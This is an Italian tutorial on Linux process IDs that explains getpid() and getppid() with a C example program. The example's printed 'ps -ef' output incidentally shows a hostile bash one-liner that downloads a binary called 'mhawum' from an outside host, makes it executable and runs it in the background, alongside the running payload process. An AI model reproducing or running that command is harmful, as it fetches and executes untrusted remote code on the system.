Informazioni sul processo

Prima di entrare nelle informazioni di processo, dobbiamo sapere alcune cose, come:

Cos'è un processo? Un processo è un programma in esecuzione.

Cos'è un programma? Un programma è un file contenente le informazioni di un processo e come costruirlo durante il runtime. Quando si avvia l'esecuzione del programma, viene caricato nella RAM e inizia l'esecuzione.

Ogni processo è identificato con un numero intero positivo univoco chiamato ID processo o semplicemente PID (numero di identificazione del processo). Il kernel di solito limita l'ID del processo a 32767, che è configurabile. Quando l'ID processo raggiunge questo limite, viene reimpostato di nuovo, ovvero dopo l'intervallo di processi del sistema. Gli ID di processo inutilizzati da quel contatore vengono quindi assegnati ai processi appena creati.

La chiamata di sistema getpid () restituisce l'ID del processo chiamante.

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

Questa chiamata restituisce l'ID del processo chiamante che è garantito essere univoco. Questa chiamata ha sempre successo e quindi nessun valore restituito per indicare un errore.

Ogni processo ha il suo ID univoco chiamato ID processo che va bene, ma chi lo ha creato? Come ottenere informazioni sul suo creatore? Il processo creatore è chiamato processo genitore. L'ID genitore o il PPID può essere ottenuto tramite la chiamata getppid ().

La chiamata di sistema getppid () restituisce il PID padre del processo chiamante.

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

Questa chiamata restituisce l'ID del processo padre del processo chiamante. Questa chiamata ha sempre successo e quindi nessun valore restituito per indicare un errore.

Cerchiamo di capirlo con un semplice esempio.

Di seguito è riportato un programma per conoscere il PID e il PPID del processo chiamante.

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

Alla compilazione ed esecuzione del programma di cui sopra, segue l'output.

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

Note- Il sistema di funzioni di libreria "C" () esegue un comando di shell. Gli argomenti passati a system () sono comandi eseguiti sulla shell. Nel programma precedente, il comando è "ps", che fornisce lo stato del processo.

Le informazioni complete su tutti i processi in esecuzione e altre informazioni relative al sistema sono accessibili dal file system proc disponibile in / proc.